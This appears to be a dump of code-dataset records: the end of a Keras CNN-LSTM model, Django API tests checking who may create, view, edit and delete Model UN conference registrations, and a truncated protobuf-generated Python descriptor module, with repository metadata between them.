model.add(keras.layers.MaxPooling2D(pool_size=pool_size))
model.add(keras.layers.Dropout(.2))
model.add(keras.layers.Conv2D(128, kernel_size,
padding="same"))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.Activation("relu"))
model.add(keras.layers.Dropout(.2))
# # model.add(keras.layers.GlobalMaxPooling2D())
# (None, 7, 5, 128)
# (batch_size, timesteps, input_dim)
model.add(keras.layers.Reshape((35,128), input_shape=(7,5,128)))
input_shape = (35, 128)
model.add(keras.layers.LSTM(128, input_shape=input_shape, return_sequences=True))
model.add(keras.layers.Dropout(.2))
model.add(keras.layers.LSTM(128))
model.add(keras.layers.Dropout(.2))
model.add(keras.layers.Dense(128, activation="relu"))
model.add(keras.layers.Dense(num_classes, activation="softmax"))
model.compile(optimizer=keras.optimizers.Adam(1e-4),
loss=keras.losses.SparseCategoricalCrossentropy(),
metrics=["accuracy"])
return model
| 40.353982
| 89
| 0.598246
| 515
| 4,560
| 5.201942
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| 0.900709
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| 112
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| 1
| 0.034483
| false
| 0.011494
| 0.011494
| 0
| 0.08046
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
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| 0
| null | 0
| 0
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| 0
| 0
| 0
| 0
|
0
| 9
|
3f12607d5b15b1b0a495c8e61154b88262fb482d
| 23,287
|
py
|
Python
|
huxley/api/tests/test_registration.py
|
bmun/huxley
|
e75200cab21dd9edabb9d71578acb7054f875817
|
[
"BSD-3-Clause"
] | 18
|
2015-07-12T00:55:51.000Z
|
2021-12-13T15:41:06.000Z
|
huxley/api/tests/test_registration.py
|
bmun/huxley
|
e75200cab21dd9edabb9d71578acb7054f875817
|
[
"BSD-3-Clause"
] | 288
|
2015-01-13T23:05:09.000Z
|
2022-03-25T17:35:36.000Z
|
huxley/api/tests/test_registration.py
|
bmun/huxley
|
e75200cab21dd9edabb9d71578acb7054f875817
|
[
"BSD-3-Clause"
] | 47
|
2015-05-12T15:39:57.000Z
|
2022-03-30T09:12:48.000Z
|
# Copyright (c) 2011-2017 Berkeley Model United Nations. All rights reserved.
# Use of this source code is governed by a BSD License (see LICENSE).
from huxley.accounts.models import User
from huxley.api import tests
from huxley.api.tests import auto
from huxley.core.models import Conference, Registration
from huxley.utils.test import models
class RegistrationListPostTest(tests.CreateAPITestCase):
url_name = 'api:registration_list'
params = {
'num_beginner_delegates': 0,
'num_intermediate_delegates': 0,
'num_advanced_delegates': 0,
'num_spanish_speaking_delegates': 0,
'num_chinese_speaking_delegates': 0,
'country_preferences': [1, 2]
}
def test_valid(self):
school = models.new_school()
conference = Conference.get_current()
_, _ = models.new_country(), models.new_country()
params = self.get_params()
params['school'] = school.id
params['conference'] = conference.session
response = self.get_response(params=params)
registration_query = Registration.objects.filter(
id=response.data['id'])
self.assertTrue(registration_query.exists())
registration = Registration.objects.get(id=response.data['id'])
self.assertEqual(response.data, {
'id': registration.id,
'registered_at': registration.registered_at.isoformat(),
'school': registration.school.id,
'conference': registration.conference.session,
'is_waitlisted': registration.is_waitlisted,
'num_beginner_delegates': registration.num_beginner_delegates,
'num_intermediate_delegates':
registration.num_intermediate_delegates,
'num_advanced_delegates': registration.num_advanced_delegates,
'num_spanish_speaking_delegates':
registration.num_spanish_speaking_delegates,
'num_chinese_speaking_delegates':
registration.num_chinese_speaking_delegates,
'waivers_completed': registration.waivers_completed,
'country_preferences': registration.country_preference_ids,
'registration_comments': registration.registration_comments,
'committee_preferences':
list(registration.committee_preferences.all()),
'delegate_fees_owed': float(registration.delegate_fees_owed),
'delegate_fees_paid': float(registration.delegate_fees_paid),
'registration_fee_paid': registration.registration_fee_paid,
'assignments_finalized': registration.assignments_finalized,
'modified_at': registration.modified_at.isoformat(),
})
def test_empty_fields(self):
'''This should not allow for required fields to be empty.'''
params = self.get_params(
num_beginner_delegates='',
num_intermediate_delegates='',
num_advanced_delegates='',
num_spanish_speaking_delegates='',
num_chinese_speaking_delegates='')
response = self.get_response(params=params)
self.assertEqual(
response.data,
{'num_beginner_delegates': [u'A valid integer is required.'],
'num_advanced_delegates': [u'A valid integer is required.'],
'num_chinese_speaking_delegates':
[u'A valid integer is required.'],
'num_intermediate_delegates': [u'A valid integer is required.'],
'num_spanish_speaking_delegates':
[u'A valid integer is required.'],
'conference': [u'This field is required.'],
'school': [u'This field is required.']})
def test_fees(self):
'''Fees should be read-only fields.'''
school = models.new_school()
conference = Conference.get_current()
_, _, _ = models.new_country(), models.new_country(), models.new_country()
params = self.get_params(
school=school.id,
conference=conference.session,
fees_owed=2000.0,
fees_paid=2000.0)
response = self.get_response(params=params)
registration = Registration.objects.get(id=response.data['id'])
delegate_fees_owed = response.data['delegate_fees_owed']
delegate_fees_paid = response.data['delegate_fees_paid']
self.assertEqual(delegate_fees_owed,
float(registration.delegate_fees_owed))
self.assertEqual(delegate_fees_paid,
float(registration.delegate_fees_paid))
self.assertNotEqual(delegate_fees_owed, 2000.0)
self.assertNotEqual(delegate_fees_paid, 2000.0)
def test_country_preferences(self):
'''It should save country preferences.'''
c1 = models.new_country().id
c2 = models.new_country().id
school = models.new_school()
conference = Conference.get_current()
params = self.get_params(
school=school.id,
conference=conference.session,
countrypreferences=[0, c1, c2, 0, c1])
response = self.get_response(params=params)
self.assertEqual(response.data['country_preferences'], [c1, c2])
registration_id = response.data['id']
registration = Registration.objects.get(id=registration_id)
self.assertEqual([c1, c2], registration.country_preference_ids)
# def test_delegate_total(self):
# '''Validator shouldn't let there be more spanish or chinese speaking
# delegates than there are total delegates.'''
# school = models.new_school()
# conference = Conference.get_current()
# params = self.get_params(
# school=school.id,
# conference=conference.session,
# num_beginner_delegates=1,
# num_intermediate_delegates=1,
# num_advanced_delegates=1,
# num_spanish_speaking_delegates=4,
# num_chinese_speaking_delegates=4)
# response = self.get_response(params=params)
# self.assertEqual(response.data,
# {'num_spanish_speaking_delegates':
# [u'Cannot exceed total number of delegates.'],
# 'num_chinese_speaking_delegates':
# [u'Cannot exceed total number of delegates.']})
class RegistrationListGetTest(tests.ListAPITestCase):
url_name = 'api:registration_list'
def setUp(self):
self.advisor = models.new_user(username='username', password='pass')
self.school = models.new_school(user=self.advisor)
self.registration = models.new_registration(school=self.school)
def test_anonymous_user(self):
response = self.get_response({'school_id': self.school.id,
'conference_session':
Conference.get_current()})
self.assertNotAuthenticated(response)
response = self.get_response()
self.assertNotAuthenticated(response)
def test_other_user(self):
other_user = models.new_user(username='other', password='other')
other_school = models.new_school(user=other_user)
self.client.login(username='other', password='other')
response = self.get_response(params={'school_id': self.school.id,
'conference_session':
Conference.get_current()})
self.assertPermissionDenied(response)
response = self.get_response()
self.assertPermissionDenied(response)
def test_advisor(self):
self.client.login(username='username', password='pass')
response = self.get_response(params={'school_id': self.school.id,
'conference_session':
Conference.get_current()})
self.assertEqual(len(response.data), 1)
self.assertEqual(
dict(response.data[0]), {
'id': self.registration.id,
'school': self.registration.school_id,
'conference': self.registration.conference_id,
'registered_at': self.registration.registered_at.isoformat(),
'is_waitlisted': self.registration.is_waitlisted,
'num_beginner_delegates':
self.registration.num_beginner_delegates,
'num_intermediate_delegates':
self.registration.num_intermediate_delegates,
'num_advanced_delegates':
self.registration.num_advanced_delegates,
'num_spanish_speaking_delegates':
self.registration.num_spanish_speaking_delegates,
'num_chinese_speaking_delegates':
self.registration.num_chinese_speaking_delegates,
'waivers_completed': self.registration.waivers_completed,
'country_preferences':
self.registration.country_preference_ids,
'committee_preferences':
list(self.registration.committee_preferences.all()),
'registration_comments':
self.registration.registration_comments,
'delegate_fees_owed':
float(self.registration.delegate_fees_owed),
'delegate_fees_paid':
float(self.registration.delegate_fees_paid),
'registration_fee_paid':
self.registration.registration_fee_paid,
'assignments_finalized':
self.registration.assignments_finalized,
'modified_at': self.registration.modified_at.isoformat()
})
def test_superuser(self):
models.new_superuser(username='test', password='user')
self.client.login(username='test', password='user')
response = self.get_response(params={'school_id': self.school.id,
'conference_session':
Conference.get_current()})
self.assertEqual(len(response.data), 1)
self.assertEqual(
dict(response.data[0]), {
'id': self.registration.id,
'school': self.registration.school_id,
'conference': self.registration.conference_id,
'registered_at': self.registration.registered_at.isoformat(),
'is_waitlisted': self.registration.is_waitlisted,
'num_beginner_delegates':
self.registration.num_beginner_delegates,
'num_intermediate_delegates':
self.registration.num_intermediate_delegates,
'num_advanced_delegates':
self.registration.num_advanced_delegates,
'num_spanish_speaking_delegates':
self.registration.num_spanish_speaking_delegates,
'num_chinese_speaking_delegates':
self.registration.num_chinese_speaking_delegates,
'waivers_completed': self.registration.waivers_completed,
'country_preferences':
self.registration.country_preference_ids,
'committee_preferences':
list(self.registration.committee_preferences.all()),
'registration_comments':
self.registration.registration_comments,
'delegate_fees_owed':
float(self.registration.delegate_fees_owed),
'delegate_fees_paid':
float(self.registration.delegate_fees_paid),
'registration_fee_paid':
self.registration.registration_fee_paid,
'assignments_finalized':
self.registration.assignments_finalized,
'modified_at': self.registration.modified_at.isoformat()
})
class RegistrationDetailGetTest(auto.RetrieveAPIAutoTestCase):
url_name = 'api:registration_detail'
@classmethod
def get_test_object(cls):
return models.new_registration()
def test_anonymous_user(self):
self.do_test(expected_error=auto.EXP_NOT_AUTHENTICATED)
def test_other_user(self):
other_user = models.new_user()
school = models.new_school(user=other_user)
self.as_user(other_user).do_test(
expected_error=auto.EXP_PERMISSION_DENIED)
def test_advisor(self):
advisor = User.objects.get(school_id=self.object.school_id)
advisor.PASSWORD_FOR_TESTS_ONLY = 'test'
self.as_user(advisor).do_test()
def test_superuser(self):
self.as_superuser().do_test()
class RegistrationDetailPutTest(tests.UpdateAPITestCase):
url_name = 'api:registration_detail'
def setUp(self):
self.advisor = models.new_user(username='advisor', password='advisor')
self.school = models.new_school(user=self.advisor)
self.registration = models.new_registration(school=self.school)
self.params = {
'conference': self.registration.conference.session,
'school': self.registration.school.id,
'country_preferences': self.registration.country_preference_ids,
'assignments_finalized': True,
'num_beginner_delegates': 0,
'num_intermediate_delegates': 0,
'num_advanced_delegates': 0,
'num_spanish_speaking_delegates': 0,
'num_chinese_speaking_delegates': 0,
}
def test_anonymous_user(self):
'''Anonymous user should not be able to submit a full update.'''
response = self.get_response(self.registration.id, self.params)
self.assertNotAuthenticated(response)
def test_other_user(self):
'''A user should not be able to fully update another user's info.'''
other_user = models.new_user(username='username', password='password')
school = models.new_school(user=other_user)
self.client.login(username='username', password='password')
response = self.get_response(self.registration.id, self.params)
self.assertPermissionDenied(response)
def test_advisor(self):
'''An advisor should be able to fully update his/her info.'''
self.client.login(username='advisor', password='advisor')
response = self.get_response(self.registration.id, self.params)
self.assertEqual(response.data, {
'id': self.registration.id,
'school': self.registration.school.id,
'conference': self.registration.conference.session,
'registered_at': self.registration.registered_at.isoformat(),
'is_waitlisted': self.registration.is_waitlisted,
'num_beginner_delegates': self.registration.num_beginner_delegates,
'num_intermediate_delegates':
self.registration.num_intermediate_delegates,
'num_advanced_delegates': self.registration.num_advanced_delegates,
'num_spanish_speaking_delegates':
self.registration.num_spanish_speaking_delegates,
'num_chinese_speaking_delegates':
self.registration.num_chinese_speaking_delegates,
'waivers_completed': self.registration.waivers_completed,
'country_preferences': self.registration.country_preference_ids,
'committee_preferences':
list(self.registration.committee_preferences.all()),
'registration_comments': self.registration.registration_comments,
'delegate_fees_owed': float(self.registration.delegate_fees_owed),
'delegate_fees_paid': float(self.registration.delegate_fees_paid),
'registration_fee_paid': self.registration.registration_fee_paid,
'assignments_finalized': True,
'modified_at': self.registration.modified_at.isoformat()
})
def test_superuser(self):
'''A superuser should be able to fully update anyone's info.'''
models.new_superuser(username='super', password='user')
self.client.login(username='super', password='user')
response = self.get_response(self.registration.id, self.params)
self.assertEqual(response.data, {
'id': self.registration.id,
'school': self.registration.school.id,
'conference': self.registration.conference.session,
'registered_at': self.registration.registered_at.isoformat(),
'is_waitlisted': self.registration.is_waitlisted,
'num_beginner_delegates': self.registration.num_beginner_delegates,
'num_intermediate_delegates':
self.registration.num_intermediate_delegates,
'num_advanced_delegates': self.registration.num_advanced_delegates,
'num_spanish_speaking_delegates':
self.registration.num_spanish_speaking_delegates,
'num_chinese_speaking_delegates':
self.registration.num_chinese_speaking_delegates,
'waivers_completed': self.registration.waivers_completed,
'country_preferences': self.registration.country_preference_ids,
'committee_preferences':
list(self.registration.committee_preferences.all()),
'registration_comments': self.registration.registration_comments,
'delegate_fees_owed': float(self.registration.delegate_fees_owed),
'delegate_fees_paid': float(self.registration.delegate_fees_paid),
'registration_fee_paid': self.registration.registration_fee_paid,
'assignments_finalized': True,
'modified_at': self.registration.modified_at.isoformat()
})
class RegistrationDetailPatchTest(tests.PartialUpdateAPITestCase):
url_name = 'api:registration_detail'
def setUp(self):
self.advisor = models.new_user(username='advisor', password='advisor')
self.school = models.new_school(user=self.advisor)
self.registration = models.new_registration(school=self.school)
self.params = {
'conference': self.registration.conference.session,
'school': self.registration.school.id,
'country_preferences': self.registration.country_preference_ids,
'assignments_finalized': True,
}
def test_anonymous_user(self):
'''Anonymous user should not be able to submit a partial update.'''
response = self.get_response(self.registration.id, self.params)
self.assertNotAuthenticated(response)
def test_other_user(self):
'''A user should not be able to partially update another user's info.'''
other_user = models.new_user(username='username', password='password')
school = models.new_school(user=other_user)
self.client.login(username='username', password='password')
response = self.get_response(self.registration.id, self.params)
self.assertPermissionDenied(response)
def test_advisor(self):
'''An advisor should be able to partially update his/her info.'''
self.client.login(username='advisor', password='advisor')
response = self.get_response(self.registration.id, self.params)
self.assertEqual(response.data, {
'id': self.registration.id,
'school': self.registration.school.id,
'conference': self.registration.conference.session,
'registered_at': self.registration.registered_at.isoformat(),
'is_waitlisted': self.registration.is_waitlisted,
'num_beginner_delegates': self.registration.num_beginner_delegates,
'num_intermediate_delegates':
self.registration.num_intermediate_delegates,
'num_advanced_delegates': self.registration.num_advanced_delegates,
'num_spanish_speaking_delegates':
self.registration.num_spanish_speaking_delegates,
'num_chinese_speaking_delegates':
self.registration.num_chinese_speaking_delegates,
'waivers_completed': self.registration.waivers_completed,
'country_preferences': self.registration.country_preference_ids,
'committee_preferences':
list(self.registration.committee_preferences.all()),
'registration_comments': self.registration.registration_comments,
'delegate_fees_owed': float(self.registration.delegate_fees_owed),
'delegate_fees_paid': float(self.registration.delegate_fees_paid),
'registration_fee_paid': self.registration.registration_fee_paid,
'assignments_finalized': True,
'modified_at': self.registration.modified_at.isoformat()
})
def test_superuser(self):
'''A superuser should be able to partially update anyone's info.'''
models.new_superuser(username='super', password='user')
self.client.login(username='super', password='user')
response = self.get_response(self.registration.id, self.params)
self.assertEqual(response.data, {
'id': self.registration.id,
'school': self.registration.school.id,
'conference': self.registration.conference.session,
'registered_at': self.registration.registered_at.isoformat(),
'is_waitlisted': self.registration.is_waitlisted,
'num_beginner_delegates': self.registration.num_beginner_delegates,
'num_intermediate_delegates':
self.registration.num_intermediate_delegates,
'num_advanced_delegates': self.registration.num_advanced_delegates,
'num_spanish_speaking_delegates':
self.registration.num_spanish_speaking_delegates,
'num_chinese_speaking_delegates':
self.registration.num_chinese_speaking_delegates,
'waivers_completed': self.registration.waivers_completed,
'country_preferences': self.registration.country_preference_ids,
'committee_preferences':
list(self.registration.committee_preferences.all()),
'registration_comments': self.registration.registration_comments,
'delegate_fees_owed': float(self.registration.delegate_fees_owed),
'delegate_fees_paid': float(self.registration.delegate_fees_paid),
'registration_fee_paid': self.registration.registration_fee_paid,
'assignments_finalized': True,
'modified_at': self.registration.modified_at.isoformat()
})
class RegistrationDetailDeleteTest(auto.DestroyAPIAutoTestCase):
url_name = 'api:registration_detail'
@classmethod
def get_test_object(cls):
return models.new_registration()
def test_anonymous_user(self):
self.do_test(expected_error=auto.EXP_NOT_AUTHENTICATED)
def test_other_user(self):
other_user = models.new_user()
school = models.new_school(user=other_user)
self.as_user(other_user).do_test(
expected_error=auto.EXP_PERMISSION_DENIED)
def test_advisor(self):
advisor = User.objects.get(school_id=self.object.school_id)
advisor.PASSWORD_FOR_TESTS_ONLY = 'test'
self.as_user(advisor).do_test()
def test_superuser(self):
self.as_superuser().do_test()
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0
| 7
|
58d2687d82e7f1d5154763a2cd14855d1d03ddf9
| 20,344
|
py
|
Python
|
packages/google/protobuf/internal/packed_field_test_pb2.py
|
surinder83singh/Elymus
|
054ba5138da886db0523182101f862961b18e6f7
|
[
"MIT"
] | 78
|
2017-08-19T03:46:13.000Z
|
2020-02-19T04:29:45.000Z
|
packages/google/protobuf/internal/packed_field_test_pb2.py
|
surinder83singh/Elymus
|
054ba5138da886db0523182101f862961b18e6f7
|
[
"MIT"
] | 13
|
2020-01-28T22:20:14.000Z
|
2022-03-11T23:20:14.000Z
|
packages/google/protobuf/internal/packed_field_test_pb2.py
|
surinder83singh/Elymus
|
054ba5138da886db0523182101f862961b18e6f7
|
[
"MIT"
] | 13
|
2016-02-28T00:14:23.000Z
|
2021-05-03T15:47:36.000Z
|
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: google/protobuf/internal/packed_field_test.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
from google.protobuf import descriptor_pb2
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
DESCRIPTOR = _descriptor.FileDescriptor(
name='google/protobuf/internal/packed_field_test.proto',
package='google.protobuf.python.internal',
syntax='proto3',
serialized_pb=_b('\n0google/protobuf/internal/packed_field_test.proto\x12\x1fgoogle.protobuf.python.internal\"\xdb\x03\n\x0fTestPackedTypes\x12\x16\n\x0erepeated_int32\x18\x01 \x03(\x05\x12\x16\n\x0erepeated_int64\x18\x02 \x03(\x03\x12\x17\n\x0frepeated_uint32\x18\x03 \x03(\r\x12\x17\n\x0frepeated_uint64\x18\x04 \x03(\x04\x12\x17\n\x0frepeated_sint32\x18\x05 \x03(\x11\x12\x17\n\x0frepeated_sint64\x18\x06 \x03(\x12\x12\x18\n\x10repeated_fixed32\x18\x07 \x03(\x07\x12\x18\n\x10repeated_fixed64\x18\x08 \x03(\x06\x12\x19\n\x11repeated_sfixed32\x18\t \x03(\x0f\x12\x19\n\x11repeated_sfixed64\x18\n \x03(\x10\x12\x16\n\x0erepeated_float\x18\x0b \x03(\x02\x12\x17\n\x0frepeated_double\x18\x0c \x03(\x01\x12\x15\n\rrepeated_bool\x18\r \x03(\x08\x12Y\n\x14repeated_nested_enum\x18\x0e \x03(\x0e\x32;.google.protobuf.python.internal.TestPackedTypes.NestedEnum\"\'\n\nNestedEnum\x12\x07\n\x03\x46OO\x10\x00\x12\x07\n\x03\x42\x41R\x10\x01\x12\x07\n\x03\x42\x41Z\x10\x02\"\xec\x03\n\x11TestUnpackedTypes\x12\x1a\n\x0erepeated_int32\x18\x01 \x03(\x05\x42\x02\x10\x00\x12\x1a\n\x0erepeated_int64\x18\x02 \x03(\x03\x42\x02\x10\x00\x12\x1b\n\x0frepeated_uint32\x18\x03 \x03(\rB\x02\x10\x00\x12\x1b\n\x0frepeated_uint64\x18\x04 \x03(\x04\x42\x02\x10\x00\x12\x1b\n\x0frepeated_sint32\x18\x05 \x03(\x11\x42\x02\x10\x00\x12\x1b\n\x0frepeated_sint64\x18\x06 \x03(\x12\x42\x02\x10\x00\x12\x1c\n\x10repeated_fixed32\x18\x07 \x03(\x07\x42\x02\x10\x00\x12\x1c\n\x10repeated_fixed64\x18\x08 \x03(\x06\x42\x02\x10\x00\x12\x1d\n\x11repeated_sfixed32\x18\t \x03(\x0f\x42\x02\x10\x00\x12\x1d\n\x11repeated_sfixed64\x18\n \x03(\x10\x42\x02\x10\x00\x12\x1a\n\x0erepeated_float\x18\x0b \x03(\x02\x42\x02\x10\x00\x12\x1b\n\x0frepeated_double\x18\x0c \x03(\x01\x42\x02\x10\x00\x12\x19\n\rrepeated_bool\x18\r \x03(\x08\x42\x02\x10\x00\x12]\n\x14repeated_nested_enum\x18\x0e \x03(\x0e\x32;.google.protobuf.python.internal.TestPackedTypes.NestedEnumB\x02\x10\x00\x62\x06proto3')
)
_TESTPACKEDTYPES_NESTEDENUM = _descriptor.EnumDescriptor(
name='NestedEnum',
full_name='google.protobuf.python.internal.TestPackedTypes.NestedEnum',
filename=None,
file=DESCRIPTOR,
values=[
_descriptor.EnumValueDescriptor(
name='FOO', index=0, number=0,
options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='BAR', index=1, number=1,
options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='BAZ', index=2, number=2,
options=None,
type=None),
],
containing_type=None,
options=None,
serialized_start=522,
serialized_end=561,
)
_sym_db.RegisterEnumDescriptor(_TESTPACKEDTYPES_NESTEDENUM)
_TESTPACKEDTYPES = _descriptor.Descriptor(
name='TestPackedTypes',
full_name='google.protobuf.python.internal.TestPackedTypes',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='repeated_int32', full_name='google.protobuf.python.internal.TestPackedTypes.repeated_int32', index=0,
number=1, type=5, cpp_type=1, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_int64', full_name='google.protobuf.python.internal.TestPackedTypes.repeated_int64', index=1,
number=2, type=3, cpp_type=2, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_uint32', full_name='google.protobuf.python.internal.TestPackedTypes.repeated_uint32', index=2,
number=3, type=13, cpp_type=3, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_uint64', full_name='google.protobuf.python.internal.TestPackedTypes.repeated_uint64', index=3,
number=4, type=4, cpp_type=4, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_sint32', full_name='google.protobuf.python.internal.TestPackedTypes.repeated_sint32', index=4,
number=5, type=17, cpp_type=1, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_sint64', full_name='google.protobuf.python.internal.TestPackedTypes.repeated_sint64', index=5,
number=6, type=18, cpp_type=2, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_fixed32', full_name='google.protobuf.python.internal.TestPackedTypes.repeated_fixed32', index=6,
number=7, type=7, cpp_type=3, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_fixed64', full_name='google.protobuf.python.internal.TestPackedTypes.repeated_fixed64', index=7,
number=8, type=6, cpp_type=4, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_sfixed32', full_name='google.protobuf.python.internal.TestPackedTypes.repeated_sfixed32', index=8,
number=9, type=15, cpp_type=1, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_sfixed64', full_name='google.protobuf.python.internal.TestPackedTypes.repeated_sfixed64', index=9,
number=10, type=16, cpp_type=2, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_float', full_name='google.protobuf.python.internal.TestPackedTypes.repeated_float', index=10,
number=11, type=2, cpp_type=6, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_double', full_name='google.protobuf.python.internal.TestPackedTypes.repeated_double', index=11,
number=12, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_bool', full_name='google.protobuf.python.internal.TestPackedTypes.repeated_bool', index=12,
number=13, type=8, cpp_type=7, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_nested_enum', full_name='google.protobuf.python.internal.TestPackedTypes.repeated_nested_enum', index=13,
number=14, type=14, cpp_type=8, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
_TESTPACKEDTYPES_NESTEDENUM,
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=86,
serialized_end=561,
)
_TESTUNPACKEDTYPES = _descriptor.Descriptor(
name='TestUnpackedTypes',
full_name='google.protobuf.python.internal.TestUnpackedTypes',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='repeated_int32', full_name='google.protobuf.python.internal.TestUnpackedTypes.repeated_int32', index=0,
number=1, type=5, cpp_type=1, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_int64', full_name='google.protobuf.python.internal.TestUnpackedTypes.repeated_int64', index=1,
number=2, type=3, cpp_type=2, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_uint32', full_name='google.protobuf.python.internal.TestUnpackedTypes.repeated_uint32', index=2,
number=3, type=13, cpp_type=3, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_uint64', full_name='google.protobuf.python.internal.TestUnpackedTypes.repeated_uint64', index=3,
number=4, type=4, cpp_type=4, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_sint32', full_name='google.protobuf.python.internal.TestUnpackedTypes.repeated_sint32', index=4,
number=5, type=17, cpp_type=1, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_sint64', full_name='google.protobuf.python.internal.TestUnpackedTypes.repeated_sint64', index=5,
number=6, type=18, cpp_type=2, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_fixed32', full_name='google.protobuf.python.internal.TestUnpackedTypes.repeated_fixed32', index=6,
number=7, type=7, cpp_type=3, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_fixed64', full_name='google.protobuf.python.internal.TestUnpackedTypes.repeated_fixed64', index=7,
number=8, type=6, cpp_type=4, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_sfixed32', full_name='google.protobuf.python.internal.TestUnpackedTypes.repeated_sfixed32', index=8,
number=9, type=15, cpp_type=1, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_sfixed64', full_name='google.protobuf.python.internal.TestUnpackedTypes.repeated_sfixed64', index=9,
number=10, type=16, cpp_type=2, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_float', full_name='google.protobuf.python.internal.TestUnpackedTypes.repeated_float', index=10,
number=11, type=2, cpp_type=6, label=3,
